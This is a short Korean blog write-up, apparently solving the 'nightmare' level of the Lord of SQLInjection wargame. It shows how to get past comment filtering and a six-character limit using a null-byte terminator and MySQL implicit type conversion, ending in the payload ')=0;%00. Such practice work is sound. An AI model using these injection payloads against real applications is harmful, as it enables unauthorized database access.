-
[LOS] nightmareWargame/Lord of SQLInjection 2019. 7. 13. 02:33
[nightmare] https://los.rubiya.kr/chall/nightmare_be1285a95aa20e8fa154cb977c37fee5.php
주석으로 사용하였던 #, -가 필터링되어 있고, pw의 길이가 6이하로 제한되어 있다.
쿼리문의 결과 값이 존재하기만 하면 된다.
select id from prob_nightmare where pw=('')||true#') and id !='admin'
위와 같이 쿼리문을 만들어주면, 참이 되어 결과 값이 존재할 것이다.
주석 우회
#, --, ;%00, /**/;%00
MySQL은 쿼리를 읽을 때 null을 만나면 멈춘다.
select id from prob_nightmare where pw=('')||1;%00') and id !='admin'
7글자다..ㅠ
6자 이내로 쿼리문을 참으로 만들기 위해서는 pw=('')를 이용해야 한다.
여기서 이용되는 것은 자동 형변환이다.
MySQL은 타입이 다른 값을 비교할 때 자동 형변환을 한다.
자동 형변환
'adc' = 0 (true)
'1abc' = 0 (false)
'1abc' = 1 (true)
[자동 형변환] https://limjunyoung.tistory.com/121자동 형변환을 이용하여 pw=참으로 쿼리문을 참으로 만들 수 있다.
select id from prob_nightmare where pw=('')=0;%00') and id !='admin'
?pw=')=0;%00
'Wargame > Lord of SQLInjection' 카테고리의 다른 글
[LOS] xavis (0) 2020.03.19 [LOS] zombie_assassin (2) 2019.07.09 [LOS] succubus (0) 2019.07.06 [LOS] assassin (0) 2019.07.06 [LOS] giant (0) 2019.07.05 댓글